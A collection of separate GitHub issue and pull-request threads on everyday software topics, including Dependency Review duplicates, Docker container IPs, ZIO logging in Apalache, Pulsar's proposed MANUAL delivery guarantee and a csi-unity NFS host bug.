Duplicate dependencies in GitHub Dependency Graph when combined with Dependency Review

The project I am working on have been observed duplicate entries in the GitHub Dependency Graph come and go for quite some time.
We have based or workflows on this demo as it is referenced by the documentation for configuring dependency-review together dependency-submission based on Gradle manifest files.
With some help from GitHub support, we have been able to reproduce this behaviour in this fork of this demo here
https://github.com/lislei/github-dependency-submission-demo-test
We have yet no answers to what the issue, but it seems like to involve the different "correlator" values. The one used for dependency-submission workflow is different than the dependency-review workflow.
Could someone please look into this?
Thank you for considering this.

Relaying the answer from GitHub support:

Hello,
Thank you for your patience.
Our Engineering team investigated and relayed that the issue here is how the Actions workflows are set up.
Your team currently have the Dependency Submission as a step in the Dependency Review Actions workflow, it's unintuitive >however these should be separate. The current setup will misbehave as it results in the dependency snapshots submitted by the >Dependency Review Actions workflow which produces a different detector name for the dependency snapshots submitted via the >Actions workflow running on the default branch.
We recommend having a single Actions workflow for Dependency Submission that runs both on the default branch and on pull >requests, and then a separate Actions workflow for Dependency Review.

My take on this is to factor out the dependency submission part as a reusable workflow.

Thanks for your detailed report and reproducer.
However, I am unable to generate duplicate dependencies by following your instructions:

Cloned the repo, enabling dependency-graph and actions

Created a PR that updates a dependency version. Submitting the PR triggers the dependency-review workflow but not the dependency-submission workflow.

When the workflow runs, the expected message appears:

None of the Gradle dependencies appear in the dependency graph. It remains with 7 entries.


[0.9.0] Test-SecretVault Help Incorrect (-Vault instead of -Name)

Test-SecretVault help is incorrect in the built version, even though it is correct in the markdown.

Fixed in RC2.

Hmm, looks like this isn't fixed.  Reopening.

Fixed in GA


fix: contract tx url

:tada: This PR is included in version 1.150.2 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


static local  IP

Hello,
Can you maybe tell me how I always get the same IP address in Stubby-Unbound Docker?
When I restart Stubby-Unbound, I always get a new address here "IPv4Address": "<IP_ADDRESS>/16".
[
    {
        "Name": "stubby-docker_dns",
        "Id": "f23b7e471e32153fdcc71036c0ab704c38f965ad9ef807989c0977d2e7ee02dc",
        "Created": "2021-01-19T12:09:56.946544929+01:00",
        "Scope": "local",
        "Driver": "bridge",
        "EnableIPv6": false,
        "IPAM": {
            "Driver": "default",
            "Options": null,
            "Config": [
                {
                    "Subnet": "<IP_ADDRESS>/16",
                    "Gateway": "<IP_ADDRESS>"
                }
            ]
        },
        "Internal": false,
        "Attachable": true,
        "Ingress": false,
        "ConfigFrom": {
            "Network": ""
        },
        "ConfigOnly": false,
        "Containers": {
            "43bcdcf87a729170e6164669e21d746883fabfb585b32a1d9e9e6fd4ac89504d": {
                "Name": "stubby-docker_unbound_1",
                "EndpointID": "4a6bfa310e60b2fc03ada46ea63c77261eaec484bc316485285cee8fff25d0a7",
                "MacAddress": "02:42:ac:13:00:03",
                "IPv4Address": "<IP_ADDRESS>/16",
                "IPv6Address": ""
            },
            "afddaf84386a0d163ae3fbbe11efdfd2b0d19525c9c13ec2a1c8528edbe4e119": {
                "Name": "stubby-docker_stubby_1",
                "EndpointID": "8824a2f30bfd843a2a0813d7c745080ac00bda6c878759dd447b76b8a6f11bf1",
                "MacAddress": "02:42:ac:13:00:02",
                "IPv4Address": "<IP_ADDRESS>/16",
                "IPv6Address": ""
            }
        },
        "Options": {},
        "Labels": {
            "com.docker.compose.network": "dns",
            "com.docker.compose.project": "stubby-docker",
            "com.docker.compose.version": "1.27.4"
        }
    }
]

Hello,
Its normal for Docker to assign dynamic IPs to containers. It is best to
find ways to access containers by something other than IPs.
The Stubby config itself will just bind to the container's assigned address.
If a static IP is essential, the Docker manual talks about how to do it.
https://docs.docker.com/engine/reference/commandline/network_connect/
This may also help:
https://stackoverflow.com/questions/27937185/assign-static-ip-to-docker-container
On Tue, Jan 19, 2021, 5:25 AM AnimaI<EMAIL_ADDRESS>wrote:

Hello,
Can you maybe tell me how I always get the same IP address in
Stubby-Unbound Docker?
When I restart Stubby-Unbound, I always get a new address here
"IPv4Address": "<IP_ADDRESS>/16".
[
{
"Name": "stubby-docker_dns",
"Id": "f23b7e471e32153fdcc71036c0ab704c38f965ad9ef807989c0977d2e7ee02dc",
"Created": "2021-01-19T12:09:56.946544929+01:00",
"Scope": "local",
"Driver": "bridge",
"EnableIPv6": false,
"IPAM": {
"Driver": "default",
"Options": null,
"Config": [
{
"Subnet": "<IP_ADDRESS>/16",
"Gateway": "<IP_ADDRESS>"
}
]
},
"Internal": false,
"Attachable": true,
"Ingress": false,
"ConfigFrom": {
"Network": ""
},
"ConfigOnly": false,
"Containers": {
"43bcdcf87a729170e6164669e21d746883fabfb585b32a1d9e9e6fd4ac89504d": {
"Name": "stubby-docker_unbound_1",
"EndpointID": "4a6bfa310e60b2fc03ada46ea63c77261eaec484bc316485285cee8fff25d0a7",
"MacAddress": "02:42:ac:13:00:03",
"IPv4Address": "<IP_ADDRESS>/16",
"IPv6Address": ""
},
"afddaf84386a0d163ae3fbbe11efdfd2b0d19525c9c13ec2a1c8528edbe4e119": {
"Name": "stubby-docker_stubby_1",
"EndpointID": "8824a2f30bfd843a2a0813d7c745080ac00bda6c878759dd447b76b8a6f11bf1",
"MacAddress": "02:42:ac:13:00:02",
"IPv4Address": "<IP_ADDRESS>/16",
"IPv6Address": ""
}
},
"Options": {},
"Labels": {
"com.docker.compose.network": "dns",
"com.docker.compose.project": "stubby-docker",
"com.docker.compose.version": "1.27.4"
}
}
]
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/MatthewVance/stubby-docker/issues/23, or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAUMHOREB2YKMFNEGJMARV3S2VTYXANCNFSM4WIUENHQ
.

Hello,
Its normal for Docker to assign dynamic IPs to containers. It is best to
find ways to access containers by something other than IPs.
The Stubby config itself will just bind to the container's assigned address.
If a static IP is essential, the Docker manual talks about how to do it.
https://docs.docker.com/engine/reference/commandline/network_connect/
This may also help:
https://stackoverflow.com/questions/27937185/assign-static-ip-to-docker-container
On Tue, Jan 19, 2021, 5:25 AM AnimaI<EMAIL_ADDRESS>wrote:

Hello,
Can you maybe tell me how I always get the same IP address in
Stubby-Unbound Docker?
When I restart Stubby-Unbound, I always get a new address here
"IPv4Address": "<IP_ADDRESS>/16".
[
{
"Name": "stubby-docker_dns",
"Id": "f23b7e471e32153fdcc71036c0ab704c38f965ad9ef807989c0977d2e7ee02dc",
"Created": "2021-01-19T12:09:56.946544929+01:00",
"Scope": "local",
"Driver": "bridge",
"EnableIPv6": false,
"IPAM": {
"Driver": "default",
"Options": null,
"Config": [
{
"Subnet": "<IP_ADDRESS>/16",
"Gateway": "<IP_ADDRESS>"
}
]
},
"Internal": false,
"Attachable": true,
"Ingress": false,
"ConfigFrom": {
"Network": ""
},
"ConfigOnly": false,
"Containers": {
"43bcdcf87a729170e6164669e21d746883fabfb585b32a1d9e9e6fd4ac89504d": {
"Name": "stubby-docker_unbound_1",
"EndpointID": "4a6bfa310e60b2fc03ada46ea63c77261eaec484bc316485285cee8fff25d0a7",
"MacAddress": "02:42:ac:13:00:03",
"IPv4Address": "<IP_ADDRESS>/16",
"IPv6Address": ""
},
"afddaf84386a0d163ae3fbbe11efdfd2b0d19525c9c13ec2a1c8528edbe4e119": {
"Name": "stubby-docker_stubby_1",
"EndpointID": "8824a2f30bfd843a2a0813d7c745080ac00bda6c878759dd447b76b8a6f11bf1",
"MacAddress": "02:42:ac:13:00:02",
"IPv4Address": "<IP_ADDRESS>/16",
"IPv6Address": ""
}
},
"Options": {},
"Labels": {
"com.docker.compose.network": "dns",
"com.docker.compose.project": "stubby-docker",
"com.docker.compose.version": "1.27.4"
}
}
]
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/MatthewVance/stubby-docker/issues/23, or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAUMHOREB2YKMFNEGJMARV3S2VTYXANCNFSM4WIUENHQ
.


User copies of library datasets are not adopted when they log in

@alex-r-bigelow could you give some more detail about this bug? What exactly isn't working and/or how does the bug affect the proper functioning of the app? Thanks!


Update WAIOps version in README.md

contributes to: #261
Description of changes:

Fix version of WAIOps in README

:tada: This PR is included in version 0.28.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


use deno2

so you can make a binary of the app!

Too complex. deno wants to to everything, also linting etc. I am not ready for such a change, don't like the "one thing does all" 💀


Shai: Add logging

Closes #1849
Overview
Shai needs to log critical activities so we can monitor and debug the server.
This PR gives the TransExplorerService access to the existing logging
infrastructure we use throughout Apalache by providing a very thin ZIO wrapper
around an injected Logger instance.
Notable changes

Create a private object that wraps calls to a provided Logger inside ZIO effects
Add some simple formatting to the logged message
Add basic logging for the existing RPC handlers

Reviewing
Should be straight forward and the changeset is small. I'd particular be
interested in learning if I should be managing the logging message formatting
differently or if there's a better way for me to be making the logger available
to the server.

Codecov Report

Merging #1991 (4a37763) into unstable (ddf5021) will increase coverage by 0.00%.
The diff coverage is 68.75%.

@@            Coverage Diff            @@
##           unstable    #1991   +/-   ##
=========================================
  Coverage     77.81%   77.82%
=========================================
  Files           418      418
  Lines         12789    12799   +10
  Branches        566      574    +8
=========================================
+ Hits           9952     9961    +9
- Misses         2837     2838    +1

Impacted Files
Coverage Δ

...t/forsyte/apalache/shai/TransExplorerService.scala
86.95% <66.66%> (-1.94%)
:arrow_down:

...ain/scala/at/forsyte/apalache/shai/RpcServer.scala
66.66% <100.00%> (ø)

...a/at/forsyte/apalache/tla/lir/TlaLevelFinder.scala
100.00% <0.00%> (+2.63%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ddf5021...4a37763. Read the comment docs.

@konnov I think I've answered all your questions. Indeed, I think you are missing context on the basic principles of the ZIO concurrency library, which I hope the explanations here help with. But I will add a paragraph to the project README too to help explain the need to internalize effects in ZIO, and I'll add a line to the Log object noting why this is necessary.
Let me know if you have any other questions or want to discuss synchronously.

@thpani and @konnov: for a quick overview of the basic approach underlying ZIO, you can see https://zio.dev/overview/overview_background
For the manual section on wrapping effects see https://zio.dev/overview/overview_creating_effects#from-side-effects

I think I still have some basic confusion around where ZIO introduces concurrency

Two promises which are not sequenced are run concurrently, so if we have:
val foo: ZIO[Env, Fail, ()] = ZIO.effect(fooEffect)
val bar: ZIO[Env, Fail, ()] = ZIO.effect(barEffect)

Then fooEffect and barEffect will be able to run concurrently
but only when the scheduler actually runs.
Two promises which are composed in a for comprehension or using a combinator will be schedule to sequentially. So if we have
  for {
    f <- ZIO.effect(fooEffect)
    b <- ZIO.effect(barEffect)
  } yield ()

Then the scheduler will ensure that fooEffect is run before barEffect. These will be run in sequence but only when the scheduler actually runs.
There is a method invocation that will kick off the scheduler. In our app, that get's triggered by a the call to
https://github.com/informalsystems/apalache/blob/6ee210918ecca802672afaca6aeb73357ed07e8b/mod-tool/src/main/scala/at/forsyte/apalache/tla/tooling/opt/ServerCmd.scala#L17
If you drill down into this method's implementation, you'll ultimately get to the following in the ZIO source, and this is where we actually start kicking off the schedular, peeling off fibers and setting up a supervisor etc.:
  private final def unsafeRunWith[E, A](
    zio: => ZIO[R, E, A]
  )(k: Exit[E, A] => Any): Fiber.Id => (Exit[E, A] => Any) => Unit = {
    val InitialInterruptStatus = InterruptStatus.Interruptible

    val fiberId = Fiber.newFiberId()

    val scope = ZScope.unsafeMake[Exit[E, A]]()

    val supervisor = platform.supervisor

    lazy val context: FiberContext[E, A] = new FiberContext[E, A](
      fiberId,
      platform,
      environment.asInstanceOf[AnyRef],
      platform.executor,
      InitialInterruptStatus,
      None,
      PlatformConstants.tracingSupported,
      Platform.newWeakHashMap(),
      supervisor,
      scope,
      Some(platform.reportFailure)
    )

    if (supervisor ne Supervisor.none) {
      supervisor.unsafeOnStart(environment, zio, None, context)

      context.onDone(exit => supervisor.unsafeOnEnd(exit.flatten, context))
    }

    context.evaluateNow(ZIOFn.recordStackTrace(() => zio)(zio.asInstanceOf[IO[E, A]]))
    context.runAsync(k)

    fiberId => k => unsafeRunAsync(context.interruptAs(fiberId))((exit: Exit[Nothing, Exit[E, A]]) => k(exit.flatten))
  }
}

But as noted above, readers of this shouldn't need to know any of these implementations details to understand the code here. It should suffice, I'd hope, to grok what I've written in the readme about managing effects, and trust that the abstraction works. :)


May 2019 update

closes #29
closes #24
closes #13
closes #31
closes #23

Before

After

@JanMikes Cca 70 % done. Could you give me 3 worst points feedback now? :)

Header is just awful, we have to hire a design guy (not bad for a start though) 😄
Gif with demo is too awkard (it would look awesome in some kind of screen or terminal window example on black background) - inspiration
The "what people say" is awesome, i love that!

nothing I can do here, PNG format is well accepted :)

oh, so colors only? I'll probably use asciinema: https://asciinema.org/a/225151, I think about good example - small but effective, any ideas?

I know, as i said, we will hire graphics guy 😄
1000 times better! Im not sure if the git diff step is necesarry, othervise very nice demo, use this one, it is swaggy! :octocat:


[FEATURE] Tenant and Role mapping flows are disjointed

What is the bug?
To use multi-tenancy in OpenSearch Dashboards a user has to create a tenant and map roles to that tenant. Currently the role creation and tenant creation experiences are separate with no intuitive way for users to move from one to the other. For admin users this can be a frustrating, confusing, and click heavy experience.
How can one reproduce the bug?
Steps to reproduce the behavior:

Go to the "Security Plugin"
Click on the "Tenants" submenu
Click on the "Create Tenant" CTA
Notice there is no mention of mapping a tenant

What is the expected behavior?
A user should be able to easily map roles to a tenant in the tenant creation flow.
A user should be able to easily create a tenant in the role creation / mapping flow.
What is your host/environment?

Browser: Chrome
Version: 2.3.0
Plugins: Security Plugin

[Triaged] @shanilpa I will follow up with you to see if we can have a demo userflow on this one.

Closing in favor of (and linking to) the new Workspaces effort.


Cannot read property 'connection' of undefined - Error occurred during REFRESH_TOOLKITS

After a while the following error messages appear in Atom
13:56:03
Cannot read property 'connection' of undefined
IBM Streams Build
13:56:04
Error occurred during REFRESH_TOOLKITS
IBM Streams Build
13:56:04

Cannot read property 'connection' of undefined
Error occurred during REFRESH_TOOLKITS
Hide Stack Trace
TypeError: Cannot read property 'connection' of undefined
    at Object.updateLspToolkits (/Users/hegermar/.atom/packages/ide-ibmstreams/lib/main.js:85:50)
    at Object.___default (/Users/hegermar/.atom/packages/build-ibmstreams/lib/spl-build.js:154:93)
    at sendLspNotification (/Users/hegermar/.atom/packages/build-ibmstreams/lib/message-handler-registry.js:36:30)
    at Object.refreshLspToolkits (/Users/hegermar/.atom/packages/build-ibmstreams/lib/util/streams-toolkits-utils.js:13:3)
    at TapSubscriber._tapNext (/Users/hegermar/.atom/packages/build-ibmstreams/lib/epics/index.js:438:36)
    at TapSubscriber._next (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/operators/tap.js:59:27)
    at TapSubscriber.Subscriber.next (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Subscriber.js:66:18)
    at MergeMapSubscriber.notifyNext (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/operators/mergeMap.js:92:26)
    at InnerSubscriber._next (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/InnerSubscriber.js:28:21)
    at InnerSubscriber.Subscriber.next (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Subscriber.js:66:18)
    at Object.complete (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/observable/forkJoin.js:58:40)
    at Object.wrappedComplete (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Subscriber.js:188:76)
    at SafeSubscriber.__tryOrUnsub (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Subscriber.js:205:16)
    at SafeSubscriber.complete (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Subscriber.js:190:26)
    at Subscriber._complete (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Subscriber.js:96:26)
    at Subscriber.complete (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Subscriber.js:78:18)
    at DefaultIfEmptySubscriber._complete (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/operators/defaultIfEmpty.js:47:26)
    at DefaultIfEmptySubscriber.Subscriber.complete (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Subscriber.js:78:18)
    at MergeMapSubscriber._complete (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/operators/mergeMap.js:87:30)
    at MergeMapSubscriber.Subscriber.complete (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Subscriber.js:78:18)
    at Observable._subscribe (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/util/subscribeToArray.js:7:16)
    at Observable._trySubscribe (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Observable.js:44:25)
    at Observable.subscribe (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Observable.js:30:22)
    at MergeMapOperator.call (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/operators/mergeMap.js:39:23)
    at Observable.subscribe (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Observable.js:25:31)
    at DefaultIfEmptyOperator.call (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/operators/defaultIfEmpty.js:27:23)
    at Observable.subscribe (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Observable.js:25:31)
    at _loop_1 (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/observable/forkJoin.js:45:35)
    at Observable._subscribe (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/observable/forkJoin.js:68:13)
    at Observable._trySubscribe (/Users/hegermar/.atom/packages/build-ibmstreams/node_modules/rxjs/internal/Observable.js:44:25)

resolved in v1.0.1 VsCode IBM Streams


Set up GitHub Pages

Set up GitHub Pages and update repository description with the proper website link

Set up GitHub Pages and update repository description with the proper website link


Feature Request: Ability to save links via hotkey?

Are there any plans to add a feature similar to instapaper where you can Ctrl+shift+S and save a link? Ctrl+shift+S would save the current browser tab/page into the unorganized collection without having us click on the plugin itself.

Hello, I might add this

Right now, there's a shortcut for activating the extension.
I would be happy if after activating, we could just hit the ENTER key to save the the link. (Right now, if I hit Enter, nothing happens.)
This would mean 2 keystrokes instead of 1 as requested in the OP, but maybe it would be an easier feature to implement in the feature?


Scrape Google Search Limit in Python

Please allow us to input the limit in the Google search Python client. Not referring to the Google places, but the actual Google search

pages_per_query is available and can be used


Trained RNNs Parameters Extraction

Hello  I have trained a run of the LFADS algorithm to a particular dataset. I am trying to examine the parameters and weights of the Encoder and Generator RNNs. Is there a way to obtain them from the trained model? Are they saved in the Run folder?

Hi there, yes you should be able to access them as described here https://lfads.github.io/lfads-run-manager/trained-params/
You can use the Matlab run manager to access them easily as properties of the LFADS.ModelTrainedParameters class, or you can load them yourself from the lfadsOutput/model_params hd5 file. Let me know if this works for you in which case we can close the issue.

Yes, it works for me, Thank you very much for the quick response. If may I ask a similar question. Is there a way to run new data through a trained LFADS network?

Great! Yes, this is possible, although it's not implemented in the Matlab code, you can run the commands or edit the shell scripts directly to accomplish this. There are two approaches depending on the situation you are in.
If you have new data from the exact same neurons, then all you need to do is sample and average the posterior means again, but with new input data. See https://github.com/tensorflow/models/blob/master/research/lfads/run_lfads.py#L312 on how this is done. Essentially you'd be swapping out the input data after the model is trained and re-evaluating it.
If you have new data from different neurons in a stitching context, you'd need to retrain the input / output alignment (readin and readout matrices) as well, which can be configured using the --do-train-io-only flag, and then subsequently evaluate the model to get the posterior means. This flag is documented in the code here https://github.com/tensorflow/models/blob/master/research/lfads/run_lfads.py#L312 but I have not implemented it in the Matlab run manager unfortunately.


Added requirements file

Added requirements.txt file to make it easier to install the right version of all Python dependencies.
I took the content of requirements.txt from the D5.5 report. Please double-check that it is correct and add missing packages.

Requirements are in the pyproject already. When ExecFlow and OntoFlow are made public it will be possible to specify version of those. OntoFlow, and ExecFlow should in turn have requireents of versions of their dependencies.


the version of darknet_ros with tensorrt?

Could i find  the open source ?

You are looking for a version of darknet_ros with tensorrt, is that correct?
For what purpose? Did you find what you were looking for in the meanwhile?

Yes！I have finished it. I want to accelerate the process of the inference.

hello which method you finish it,i also want to use tensorrt tu accelerate darknet_ros on jeston nx @xielock

是的！我已经完成了。我想加快推理过程。
How do you accelerate it? How many frames can you reach


An error ocurred while starting the kernel

Your Python environment or installation doesn't have the spyder‑kernels module or the right version of it installed (>= 1.9.4 and < 1.10.0). Without this module is not possible for Spyder to create a console for you.
You can install it by running in a system terminal:
conda install spyder‑kernels
or
pip install spyder‑kernels

Hi @asadbuzdar264 seems like you don't have the correct version of spyder-kernels installed for your Spyder version. Please try to install the minimum version that the message describes for spyder-kernels with something like:

If you are using conda:
conda install spyder-kernels=1.9.4
If you are using pip:
pip install spyder-kernels==1.9.4

You can also check out our docs where this message is further explained: https://docs.spyder-ide.org/current/common-illnesses.html
Otherwise, please provide information about your setup (at least: Spyder version, dependencies list, and how did you installed Spyder - conda, pip, etc.).
Let us know if something of the above helps :)

Hi @asadbuzdar264 seems like you don't have the correct version of spyder-kernels installed for your Spyder version. Please try to install the minimum version that the message describes for spyder-kernels with something like:

If you are using conda:
conda install spyder-kernels=1.9.4
If you are using pip:
pip install spyder-kernels==1.9.4

You can also check out our docs where this message is further explained: https://docs.spyder-ide.org/current/common-illnesses.html
Otherwise, please provide information about your setup (at least: Spyder version, dependencies list, and how did you installed Spyder - conda, pip, etc.).
Let us know if something of the above helps :)

Closing due to lack of response


Support for Q3331189 (version, edition, or translation)

Question: how do you get to the publication of which this is a version, edition or translation?

01be9362a9106b886fc6d8f37d8a4d53ecc49d22


PIP-166: Function add MANUAL delivery semantics

Discussion thread: https://lists.apache.org/thread/4f2w1mqvhhs3mvccbcg2sk19b60xwkgf
Motivation
Currently, Function supports three delivery semantics and also provides autoAck to control whether to automatically ack.
Because autoAck affects the delivery semantics of Function, it can be confusing for users to understand the relationship between these two parameters.
For example, when the user configures Guarantees == ATMOST_ONCE and autoAck == false, then the framework will not help the user to ack messages, and the processing semantics may become ATLEAST_ONCE.
The delivery semantics provided by Function should be clear. When the user sets the guarantees, the framework should ensure point-to-point semantic processing and cannot be affected by other parameters.
Goal
Add MANUAL delivery semantics and delete autoAck config.
The original intention of autoAck semantics is that users want to control the timing of ack by themselves. When autoAck == false, the processing semantics provided by the framework should be invalid. Then we can add MANUAL processing semantics to replace the autoAck == false scenario.
When the user configuration ProcessingGuarantees == MANUAL , the framework does not help the user to do any ack operations, and the ack is left to the user to handle. In other cases, the framework guarantees processing semantics.
The processing logic of all semantics is:

ATMOST_ONCE: When the message is read by the client, it is immediately acknowledged, and only then the function is executed, thus guaranteeing it will not run more than once.
ATLEAST_ONCE: The message is acknowledged after the function finished execution, thus it will be run at least once.
EFFECTIVELY_ONCE: The message is acknowledged after the function finished execution. Depends on pulsar deduplication, and provides end-to-end effectively once processing.
MANUAL: The function framework does not do the ack operation, it is handled by the user inside the function.

API Changes

Add MANUAL type to ProcessingGuarantees.
(and also Function.proto)

public enum ProcessingGuarantees {
      ATLEAST_ONCE,
      ATMOST_ONCE,
      EFFECTIVELY_ONCE,
      MANUAL
}

Indication of autoAck is deprecated, and not use it in the code.
(and also Function.proto)

public class FunctionConfig {
     @Deprecated
     private Boolean autoAck;
}

I would issue a WARN when reading configuring the function (thus emitted once) when the user actively configured autoAck=false and warn them that this configuration is deprecated and they should switch to the MANUAL ProcessingGuarantee configuration option.

Add new PulsarSinkProcessor implements: PulsarSinkManualProcessor.  PulsarSinkManualProcessor do not do any ack operation.

        FunctionConfig.ProcessingGuarantees processingGuarantees = this.pulsarSinkConfig.getProcessingGuarantees();
        switch (processingGuarantees) {
+          case MANUAL:
+             this.pulsarSinkProcessor = new PulsarSinkManualProcessor(schema, crypto);
+             break;
            case ATMOST_ONCE:
                this.pulsarSinkProcessor = new PulsarSinkAtMostOnceProcessor(schema, crypto);
                break;
            case ATLEAST_ONCE:
                this.pulsarSinkProcessor = new PulsarSinkAtLeastOnceProcessor(schema, crypto);
                break;
            case EFFECTIVELY_ONCE:
                this.pulsarSinkProcessor = new PulsarSinkEffectivelyOnceProcessor(schema, crypto);
                break;
        }

Implementation

When the delivery semantic is ATMOST_ONCE, add verify autoAck must be true. If the validation fails, let the function fail to start (This temporarily resolves the configuration ambiguity). When autoAck is subsequently removed, the message will be acked immediately after receiving the message.

https://github.com/apache/pulsar/blob/c49a977de4b0b525ec80e5070bc90eddcc7cddad/pulsar-functions/instance/src/main/java/org/apache/pulsar/functions/instance/JavaInstanceRunnable.java#L271-L276

When user call record.ack() in function, just ProcessingGuarantees == MANUAL can be work. In turn, when ProcessingGuarantees != MANUAL, user call record.ack() is invalid(print warn log once).

Add documentation that autoAck will be deprecated, and explain the MANUAL semantics and when record.ack() takes effect.

Plan test

The main test and assert is that when ProcessingGuarantees == MANUAL, the function framework will not do any ack operations for the user.
Validate the test of autoAck=false still works (you haven't broken anything)
Validate existing ProcessingGuarantee test for AtMostOnce, AtLeastOnce, ExactlyOnce still works (when autoAck=true)

Compatibility

This change will indicate of autoAck is deprecated, and check is not used in the code. And document clearly it's deprecated for the following 2~3 release. And then delete it.
Runtimes of other languages need to maintain consistent processing logic (python, go).

Since our changes are backward compatible before the change is released, we can open multiple PR  to iteratively implement the runtime of each language. When all languages are supported, publish documentation to inform users.

Incompatible case

When the user configures Guarantees == ATMOST_ONCE and autoAck == false.

Current implementation: Function can be successfully started and the framework does not help user autoAck message.  And the processing semantics may become ATLEAST_ONCE.
Changed implementation: Function failed to start, and printed error response to the user.

If user  set autoAck == true and call record.ack() in function.

Current implementation: Can be work, But will ack the message multiple times.
Changed implementation: Can be work, But just when Guarantees == MANUAL take effect, In other cases, the warning log will be printed.

An additional explanation is required, these incompatible cases can all be considered bugs of the current implementation.

I have one last comment:
"then delete it"
We cannot "delete it", at least we can ignore it, otherwise when you upgrade Pulsar the function won't start.
There are huge Pulsar multi-tenant clusters and we cannot force users to find all the instances of such functions and then upgrade the configuration.

I have one last comment: "then delete it"
We cannot "delete it", at least we can ignore it, otherwise when you upgrade Pulsar the function won't start. There are huge Pulsar multi-tenant clusters and we cannot force users to find all the instances of such functions and then upgrade the configuration.

Thank review. Agreed, I changed it.


File-loader as default

Even if/when you add custom webpack config, having image/font loading as default would be a great addition to this project.
React-create-app is a great example of this default working really well in the wild.
Users who want to use the feature opt in by importing files with appropriate extensions in their JS, everyone else is completely unaffected.

I'm not a fan of these loaders since it's webpack specific.

I don't think it's the job of webpack nor the framework to load images or fonts. We do automatically expose static/. Is that not sufficient?

It's definitely an opinion, albeit a popular one. Since it doesn't affect anyone that doesn't want to use the feature, I'm sure many people would consider it a welcome addition.

I think users would feel using the loader is recommended if we add it as default.
Close for now since we're not sure if it's really needed. We can reconsider if got many requests.


Make the "server side" information clearer on modrinth

There is very little indication of this mod being server-side only on the modrinth's launcher page, with the only "server" indication being really tiny. On the website, you also can scroll down to the technical tab to find a little less subtle tab, but not really visible at first sight.
On the launcher:

On the website:

You could add something like a this mod does not work client-side! indicator at the top of the desc to make sure no one installs/uses it by accident on a client

All questions to Modrinth designers🙃

Can't you just put "This is a server-side mod" at the top of the description ? Doesn't sound like a big deal

Can't you just put "This is a server-side mod" at the top of the description ? Doesn't sound like a big deal

Description... And yes it big deal because next update gonna add support for both side

Okay

Fixed in https://github.com/syorito-hatsuki/ducky-updater-rework/pull/10, soon will be uploaded to Modrinth and CurseForge


[BUG]: New nodes are not recognised by csi-unity driver and Pod NFS mount fails v2.2.0

Bug Description
New Openshift nodes which are NFS clients of Unity were added to Openshift cluster, however if a POD moves to one of these new nodes the csi-unity driver does not update the NFS client export permissions for the IP address of the new node, which causes NFS mount failure of that POD. This mechanism of export permission change works fine when the POD comes up on a node which was part of initial configuration.
The mechanism to inform csi-unity driver that new nodes are part of Openshift cluster seems to not be working
Logs
Warning FailedAttachVolume 5m56s attachdetach-controller AttachVolume.Attach failed for volume "hostname-e6fe613c52" : rpc error: code = NotFound desc = runid=97 Find Host Failed unable to find host
Screenshots
No response
Additional Environment Information
No response
Steps to Reproduce
Add new nodes to Openshift cluster, attempt to bring up Pod on new Node
Expected Behavior
Unity NFS export for Pod volume should be updated with IP address of new host the Pod is on
CSM Driver(s)
csi-unity:v2.2.0
Installation Type
No response
Container Storage Modules Enabled
docker.io/dellemc/dell-csi-operator:v1.7.0
Container Orchestrator
openshift 4.9.27
Operating System
RHEL8

Hi @jb33441,
Can you confirm that the driver runs on these newly added nodes with : kubectl get pods -o wide -n unity ?
In the same idea, when you run : kubectl describe csinode [your new node name] do you see any details from CSI Unity ?
If you go into the host section of Unisphere do you see the new nodes ?
Do you see any errors from driver & registrar containers running on the newly added node ?
Thanks.

Found issue after enabling csi debug mode was a mismatch/typo in Unity tenant name on Unity array vs csi array definition which caused Rest API to Unity to fail. After Unity Tenant name aligned/corrected everything works fine.
time="2022-04-22T03:53:04Z" level=debug arrayid=de406214046092 runid=node-9 msg="Adding node [de406214150360] failed, Error: [rpc error: code = Internal desc = runid= Unable to add host. Error: rpc error: code = Internal desc = runid= Ple
ase enter Valid tenant Name : OpenShift]" func="github.com/dell/csi-unity/service.(*service).syncNodeInfo.func2.1()" fil
e="/go/src/csi-unity/service/node.go:1886"

As per comments issue looks like resolved. Are we good to close this ticket ? @jb33441

As per comments issue looks like resolved. Are we good to close this ticket ? @jb33441

Yes, thanks


Python sample returns empty results for transcription

Describe the bug
I am using the transcription_sample.py and tried to transcribe the en-us_zh-cn.wav file. Sadly I am not able to get any results.
On the one hand, the text within ConversationTranscriptionResult is empty, on the other hand I receive ResultReason.Canceled.
